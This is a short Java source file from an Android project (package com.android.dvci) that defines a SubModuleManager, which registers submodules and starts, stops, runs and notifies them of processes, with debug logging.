package com.android.dvci.module; import java.util.ArrayList; import java.util.List; import com.android.dvci.ProcessInfo; import com.android.dvci.auto.Cfg; import com.android.dvci.evidence.Markup; import com.android.dvci.util.Check; public class SubModuleManager { private static final String TAG = "SubModuleManager"; private BaseModule module; private List<SubModule> submodules; public SubModuleManager(BaseModule module) { if (Cfg.DEBUG) { Check.log(TAG + " (SubModuleManager), module: "); } this.module = module; submodules = new ArrayList<SubModule>(); } public void add(SubModule subModule) { if (Cfg.DEBUG) { Check.log(TAG + " (add), subModule: " + subModule); } subModule.init(module, new Markup(module, subModule.getClass().getName())); if (subModule.enabled) { submodules.add(subModule); } } public boolean start() { for (SubModule sub : submodules) { if (sub.enabled) { try { sub.startListen(); sub.start(); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(ex); Check.log("Error: " + ex); } } } } return false; } public boolean stop() { for (SubModule sub : submodules) { if (sub.enabled) { try { sub.stop(); sub.stopListen(); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log("Error: " + ex); } } } } return false; } public boolean go() { for (SubModule sub : submodules) { if (sub.enabled) { try { sub.go(); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log("Error: " + ex); } } } } return false; } public int notification(ProcessInfo process) { int num = 0; if (Cfg.DEBUG) { Check.log(TAG + " (notification): " + process); } for (SubModule sub : submodules) { if (sub.enabled) { try { num += sub.notification(process); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log("Error: " + ex); } } } } return num; } }